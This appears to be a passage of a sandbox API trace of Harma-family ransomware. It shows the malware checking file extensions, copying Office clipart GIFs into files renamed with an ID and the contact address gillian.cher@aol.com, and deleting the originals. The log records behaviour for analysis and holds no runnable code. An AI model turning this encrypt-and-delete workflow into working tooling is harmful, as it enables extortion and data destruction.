lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0067.828] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0067.828] lstrlenW (lpString="AG00164_.GIF") returned 12 [0067.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0068.109] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=13254) returned 1 [0068.109] CloseHandle (hObject=0x1f0) returned 1 [0068.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0068.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0068.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0068.110] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.110] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0068.110] GetLastError () returned 0x0 [0068.110] ReadFile (in: hFile=0x1f0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x33c6, lpOverlapped=0x0) returned 1 [0068.112] WriteFile (in: hFile=0x170, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x33d0, lpOverlapped=0x0) returned 1 [0068.114] ReadFile (in: hFile=0x1f0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0068.114] WriteFile (in: hFile=0x170, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0068.114] SetEndOfFile (hFile=0x170) returned 1 [0068.115] CloseHandle (hObject=0x170) returned 1 [0068.115] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.115] SetEndOfFile (hFile=0x1f0) returned 1 [0068.116] CloseHandle (hObject=0x1f0) returned 1 [0068.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0068.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0068.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0068.116] lstrlenW (lpString=".doc") returned 4 [0068.116] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.116] lstrlenW (lpString=".docx") returned 5 [0068.116] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.116] lstrlenW (lpString=".pdf") returned 4 [0068.116] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.116] lstrlenW (lpString=".xls") returned 4 [0068.117] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.117] lstrlenW (lpString=".xlsx") returned 5 [0068.117] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.117] lstrlenW (lpString=".ppt") returned 4 [0068.117] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0068.117] lstrlenW (lpString=".zip") returned 4 [0068.117] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.117] lstrlenW (lpString=".rar") returned 4 [0068.117] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.117] lstrlenW (lpString=".bz2") returned 4 [0068.117] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.117] lstrlenW (lpString=".7z") returned 3 [0068.117] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0068.117] lstrlenW (lpString=".dbf") returned 4 [0068.117] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0068.117] lstrlenW (lpString=".1cd") returned 4 [0068.117] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0068.117] lstrlenW (lpString=".jpg") returned 4 [0068.117] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0068.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0068.117] lstrlenW (lpString=".doc") returned 4 [0068.117] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.117] lstrlenW (lpString=".docx") returned 5 [0068.117] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.117] lstrlenW (lpString=".pdf") returned 4 [0068.117] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.118] lstrlenW (lpString=".xls") returned 4 [0068.118] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.118] lstrlenW (lpString=".xlsx") returned 5 [0068.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.118] lstrlenW (lpString=".ppt") returned 4 [0068.118] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0068.118] lstrlenW (lpString=".zip") returned 4 [0068.118] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.118] lstrlenW (lpString=".rar") returned 4 [0068.118] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.118] lstrlenW (lpString=".bz2") returned 4 [0068.118] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.118] lstrlenW (lpString=".7z") returned 3 [0068.118] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0068.118] lstrlenW (lpString=".dbf") returned 4 [0068.118] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0068.118] lstrlenW (lpString=".1cd") returned 4 [0068.118] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0068.118] lstrlenW (lpString=".jpg") returned 4 [0068.118] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.118] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0068.118] lstrlenW (lpString="AG00165_.GIF") returned 12 [0068.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0068.119] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=8582) returned 1 [0068.120] CloseHandle (hObject=0x1f0) returned 1 [0068.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0068.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0068.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0068.120] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.120] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0068.121] GetLastError () returned 0x0 [0068.121] ReadFile (in: hFile=0x1f0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x2186, lpOverlapped=0x0) returned 1 [0068.123] WriteFile (in: hFile=0x170, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x2190, lpOverlapped=0x0) returned 1 [0068.124] ReadFile (in: hFile=0x1f0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0068.124] WriteFile (in: hFile=0x170, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0068.124] SetEndOfFile (hFile=0x170) returned 1 [0068.124] CloseHandle (hObject=0x170) returned 1 [0068.124] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.124] SetEndOfFile (hFile=0x1f0) returned 1 [0068.125] CloseHandle (hObject=0x1f0) returned 1 [0068.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0068.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0068.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0068.125] lstrlenW (lpString=".doc") returned 4 [0068.126] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.126] lstrlenW (lpString=".docx") returned 5 [0068.126] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.126] lstrlenW (lpString=".pdf") returned 4 [0068.126] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.126] lstrlenW (lpString=".xls") returned 4 [0068.126] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.126] lstrlenW (lpString=".xlsx") returned 5 [0068.126] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.126] lstrlenW (lpString=".ppt") returned 4 [0068.126] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0068.126] lstrlenW (lpString=".zip") returned 4 [0068.126] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.126] lstrlenW (lpString=".rar") returned 4 [0068.126] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.126] lstrlenW (lpString=".bz2") returned 4 [0068.126] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.126] lstrlenW (lpString=".7z") returned 3 [0068.126] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0068.126] lstrlenW (lpString=".dbf") returned 4 [0068.126] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0068.126] lstrlenW (lpString=".1cd") returned 4 [0068.126] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0068.126] lstrlenW (lpString=".jpg") returned 4 [0068.126] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0068.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0068.127] lstrlenW (lpString=".doc") returned 4 [0068.127] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.127] lstrlenW (lpString=".docx") returned 5 [0068.127] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.127] lstrlenW (lpString=".pdf") returned 4 [0068.127] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.127] lstrlenW (lpString=".xls") returned 4 [0068.127] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.127] lstrlenW (lpString=".xlsx") returned 5 [0068.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.127] lstrlenW (lpString=".ppt") returned 4 [0068.127] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0068.127] lstrlenW (lpString=".zip") returned 4 [0068.127] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.127] lstrlenW (lpString=".rar") returned 4 [0068.127] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.127] lstrlenW (lpString=".bz2") returned 4 [0068.127] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.127] lstrlenW (lpString=".7z") returned 3 [0068.127] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0068.127] lstrlenW (lpString=".dbf") returned 4 [0068.127] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0068.128] lstrlenW (lpString=".1cd") returned 4 [0068.128] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0068.128] lstrlenW (lpString=".jpg") returned 4 [0068.128] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.128] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0068.128] lstrlenW (lpString="AG00167_.GIF") returned 12 [0068.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0068.128] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=4894) returned 1 [0068.128] CloseHandle (hObject=0x1f0) returned 1 [0068.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0068.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0068.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0068.129] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.129] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0068.129] GetLastError () returned 0x0 [0068.130] ReadFile (in: hFile=0x1f0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x131e, lpOverlapped=0x0) returned 1 [0068.132] WriteFile (in: hFile=0x170, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x1320, lpOverlapped=0x0) returned 1 [0068.133] ReadFile (in: hFile=0x1f0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0068.133] WriteFile (in: hFile=0x170, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0068.133] SetEndOfFile (hFile=0x170) returned 1 [0068.133] CloseHandle (hObject=0x170) returned 1 [0068.133] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.133] SetEndOfFile (hFile=0x1f0) returned 1 [0068.134] CloseHandle (hObject=0x1f0) returned 1 [0068.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0068.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0068.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0068.134] lstrlenW (lpString=".doc") returned 4 [0068.134] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.134] lstrlenW (lpString=".docx") returned 5 [0068.134] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.135] lstrlenW (lpString=".pdf") returned 4 [0068.135] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.135] lstrlenW (lpString=".xls") returned 4 [0068.135] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.135] lstrlenW (lpString=".xlsx") returned 5 [0068.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.135] lstrlenW (lpString=".ppt") returned 4 [0068.135] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0068.135] lstrlenW (lpString=".zip") returned 4 [0068.135] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.135] lstrlenW (lpString=".rar") returned 4 [0068.135] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.135] lstrlenW (lpString=".bz2") returned 4 [0068.135] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.135] lstrlenW (lpString=".7z") returned 3 [0068.135] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0068.135] lstrlenW (lpString=".dbf") returned 4 [0068.135] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0068.135] lstrlenW (lpString=".1cd") returned 4 [0068.135] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0068.135] lstrlenW (lpString=".jpg") returned 4 [0068.135] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0068.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0068.135] lstrlenW (lpString=".doc") returned 4 [0068.135] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.135] lstrlenW (lpString=".docx") returned 5 [0068.136] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.136] lstrlenW (lpString=".pdf") returned 4 [0068.136] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.136] lstrlenW (lpString=".xls") returned 4 [0068.136] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.136] lstrlenW (lpString=".xlsx") returned 5 [0068.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.136] lstrlenW (lpString=".ppt") returned 4 [0068.136] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0068.136] lstrlenW (lpString=".zip") returned 4 [0068.136] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.136] lstrlenW (lpString=".rar") returned 4 [0068.136] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.136] lstrlenW (lpString=".bz2") returned 4 [0068.136] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.136] lstrlenW (lpString=".7z") returned 3 [0068.136] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0068.136] lstrlenW (lpString=".dbf") returned 4 [0068.136] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0068.136] lstrlenW (lpString=".1cd") returned 4 [0068.136] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0068.136] lstrlenW (lpString=".jpg") returned 4 [0068.136] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.137] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0068.137] lstrlenW (lpString="AG00169_.GIF") returned 12 [0068.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0068.137] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=5375) returned 1 